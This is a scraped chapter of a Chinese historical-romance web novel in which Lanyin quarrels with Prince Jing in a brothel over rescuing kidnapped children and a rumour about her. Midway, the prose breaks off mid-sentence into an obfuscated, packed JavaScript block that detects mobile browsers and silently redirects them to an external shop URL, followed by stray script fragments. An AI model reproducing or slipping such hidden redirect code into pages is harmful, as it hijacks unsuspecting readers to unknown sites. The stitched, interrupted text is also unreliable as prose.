文趣网 > 都市小说 > 被迫成婚,吾在古代办漫展 > 30. 不是一路人
    室内安静,几乎听不见一丝声音,房外向来人声熙攘嘈杂的走廊,此时也声音微弱,整个观月楼好似凝固了一般

    这可是自观月楼建成以来数十年都未有过的奇景!

    不过无论旁人有何想法却都与兰因无关。

    她坐在软榻上,一腿支起、一手撑脸,漫不经心的斜视面前的男人:“敬王殿下,请您恕罪,妾身临场突发奇想,还是想看看被拐卖来的孩子究竟如何。”

    “……那王妃对接下来的行动有何高见?”

    “接下来……”兰因面带微笑,眼中闪烁着狡黠的光芒,“当然要靠我们举世无双的敬王殿下啦。”

    似乎是忍到极限,萧怀卷的脸庞猝然在兰因眼前放大,他声音蕴含着一种奇异的意味:“我为什么要答应你?”

    “因为我们是夫妻吗?”平稳无波的语气,萧怀卷的话语让兰因心中升起一股不好的预感,他又说,“我不答应,等到接了人,我们就走。”

    “这样顶好的机会,你不抓住?”

    “我只见到了个自寻死路之人。”

    听到这话,兰因终于忍不住面露冷色,这萧怀卷面对与他无强烈关系的人或事总是一退再退,不愿惹火上身,嘴上说着从长计议,实际上全是暂缓的托词,等时间一过,所有事情被众人遗忘,而后事情就与他再无瓜葛。

    室内因为二人短暂的交流刚刚有些许人间烟火气,因着二人的不发一语,又变为了刚开始时的寂静,像是要沉默到天荒地老。

    室内虽然寂静,可这屋子终究是处在青楼楚馆,外部的环境也有些微微的嘈杂,正像是白噪音一样按摩着兰因的神经。

    辛劳了一天,也算是有些累了,索性也不想再见到面前的萧怀卷,于是兰因便靠墙闭幕养神起来。

    有道是越想做什么就越做不成什么。

    杂乱的思绪在脑海中翻涌,怎么也让兰因静不下心来。

    现在她与那些被拐卖的可怜孩子可能正共处一个院子内,可她做不了什么。

    不,她可以做些什么。

    兰因即便闭着眸子,白皙的俏脸上也露出痛苦扭曲的神色。

    这京城,究竟谁人可信?

    我该求谁?我为什么要去求他人帮我做事?

    她似乎已经许久没有跟随自己的心意去做某件事了,总是瞻前顾后、畏首畏尾,所以她现在才什么都做不到。

    管他什么背后的王侯贵族,自从来京城后她都做了那么多出格之事,甚至今晚都进了青楼,那再出格一些又有何妨?

    带些人去。

    带些人直接冲入后院看,打他们个措手不及。

    冲动又激烈的念头在脑海中疯狂滋生,让她想要立刻就前去实行想法。

    不行,要是得罪了神秘权贵而导致自己死亡,那家族的案子该怎么办?

    好不容易得到一些关于案子的消息,就这样为也与自己不相关的人们,不知结果的冲出去?

    在这样的头脑风暴中,她没有听到有微弱的门扉开关声,而时间还像往常一样静静流逝。

    无论如何,去看看!就当是为了自己不再内疚。

    倏然睁开眼,眸光中带有某项决绝,兰因下定决心。

    锐利的目光扫过室内,出乎意料的没有看见萧怀卷,流诗此时亦是不在,只有几个侍女安静的侯在一旁。

    兰因恍然,她并没来得及跟萧怀卷说要将流诗调走,在自己身边没有见到这个与自己形影不离的人,他为什么问也不问一句?

    哈。

    她在心底嗤笑。

    是了,其实她的身边一直都有他安排的探子啊,只是那时两人利益表面上一致,而她又为了取悦他,于是便不对这个安排做过多的置喙。

    此时萧怀卷不在也好,兰因有些庆幸,这样便不用与他正面起冲突。

    先出去探探路吧。

    “我出去逛逛。”语罢,话音未落,兰因的身影就从众人面前悄然消失。

    此时因为王爷和王妃征用,观月楼便逐渐将一些无权之人驱逐处去。

    被驱赶之人只能按到倒霉心中,对权力的渴望又进一步加深。

    现在向来充满欲望的观月楼正前所未有的安静,其守卫的严密性也前所未有的高,几乎做到了三步一岗、五步一哨。

    兰因才出门就直接撞上了守着的龟奴,那龟奴矮身行礼,询问有何可帮忙的。

    片头看到走廊密集的人影,兰因心中百转千回,这人这么多,只怕是用常规方法前去不知要碰到多少人。

    随意编个理由,恐怕也不成,谁知道这些人中有多少从表面上看是一个平平无奇的侍者,而实际上却是一个经过严格训练的暗哨呢。

    自古青楼客栈酒馆便是消息流通汇聚之地,这些逝者护卫说不定连同妓子都暗中进行了严密的套话保密训练。

    看来想要探查那位置,从出门开始就需要走小道,回去翻窗看看可能有机会。

    下定决心,她正准备随口打发了小厮,萧怀卷温润柔和的声音从走廊尽头传来。

    “王妃可是遍寻不见本殿,所以心焦了?”

    兰因见到他正步履从容的向自己走来,而后脑海中过了一遍他刚刚说的话语,理解了其中意思,身上不由自主的起了一层鸡皮疙瘩。

    他们二人刚刚才吵过一架,这人就像没事人似的面向自己说些情人间的打趣之语,实在让人佩服。

    但无论心中怎么想,二人的龃龉却是不足为外人道的,她笑着点头亲热的挽上萧怀卷的手臂,二人在龟奴的注视下又甜甜蜜蜜的进房。

    甫一入内,兰因就立刻把萧怀卷的手臂松开了,也不说话,只是复又坐回软榻上。

    按往常来说,她为了拉关系,可能会拉着萧怀卷积极询问关心他去了哪里,但现在她可没这个心思。

    萧怀卷一回来就意味着她的计划又行不通了。

    回归原来的老姿势老位置,她又开始沉思。

    “王妃聪慧,对方才在街上的情形不觉得奇怪吗?”

    兰因斜睨了他一眼,露出个假笑。

    刚才的奇怪之处,刚才有什么好奇怪的?

    那当然是莫名其妙的“仙子”之说啦。

    但事情有轻重缓急,留言虽可杀人,但现在的情况还没到能要她命的地步,所以重点还是关注在正在受苦的那些孩子们吧。

    看她的表情,萧怀卷便知道她同样也注意到这件事的怪异之处,但她没有先处理这件事,可能是因为权衡利弊之下,觉得有比这件事更重要的事情。

    不知怎的,对他这样不在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715539|208287||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    乎自己的表现有些温怒,他沉声道:“流言如刀。”

    “是是,可成就一个人,也可杀了一个人。”兰因没好气的接话。

    好似想起什么有趣的事情,她突然又眉眼弯弯:“敬王殿下刚才外出莫不是为了查清留言,为了妾身?”

    “不怪妾身多想,只是殿下的表现实在让妾身感到难以捉摸,于是妾身就想些能让妾身乐起来的想法啦。”

    才怪。

    刚才因着两人之间的分歧才吵过一架,兰因此时回望萧怀卷的所有动作,细细的一个个拆解。

    每一次反应、每一次动作,怎么看都像是为了保全或提高他自己在朝堂上的名声势力而做出的。

    她回想起一件最重要的事情,那晚,她好像有些微微心动。

    她问萧怀卷:你在追求我吗?

    他是怎么回答的?

    他说“是”。

    哈。

    是!多么可笑!这个朝代有这个词吗?只怕当时萧怀卷根本就没听懂这句话的意思吧!

    这就好意思回答是?

    恐怕只是顺势而为,将自己当成大傻子耍了。

    这样顺下来,她的思绪前所未有的通畅,她已看透萧怀卷的做事逻辑。

    这次前去了解,大概也是他察觉到这消息是他政敌发出的吧,因为二人是御赐的婚姻,一荣俱荣、一损俱损,所以他才不得不去了解,后续肯定还要把这则流言平息。

    无论如何,他做的事都是为了他自己。

    关于如何用最小的代价成就最大的利益这方面,兰因觉得她两辈子的积累在萧怀卷面前像个刚出生的小孩,还需要向萧怀卷学更多。

    想到这,她又僵硬的扯了扯嘴角,是贬低,刚刚对萧怀卷的想法是贬低。

    人生在世,算这算那实在是太过无趣。

    这样一想,她就感到前途无亮,两人的三观性格好像不是很合得来,难道要这样相互纠缠一辈子吗?

    看着面前人诡异的哼哈起来,萧怀卷不解其意,不过兰因向来都做事让人摸不着头脑,可能此时又想到什么好玩的东西了吧。

    “自然。”萧怀卷含笑点头,“这消息是三日前在京城传播开的。”

    自——然——

    兰因想翻个白眼,对这人极致的厚颜无耻又感到刷新眼界。

    为了自己就为了自己,在皇家争权夺利,不择手段向上爬,没人会笑话你。

    “怎么?你不好奇?”没有得到自己想象中的反应,萧怀卷又追加着问,他眼角上挑,此时倒像一个狡猾的狐狸。

    “洗耳恭听殿下英明神武的决策。”

    这话着实生分又僵硬,不是他想象中兰因会做出的回答,萧怀卷皱了皱眉,停顿片刻,而后又道。

    “是我不好,消息流传开来时,我当日便已抓到留言的起始者,这个街头泼皮混混。”

    他上前与兰因相对而坐,眸中孕育着万般温柔:“这人倒是个骨头软的,还未开审便全都交代了。”

    而后又是长久的,刻意的停顿。

    左右也做不了其他事,兰因决定陪着萧怀卷演完这一场举案齐眉的好戏。

    “交代了什么?”

    声音又恢复了往常一般的轻快,好似兰因单方面的嫌隙从未出现过。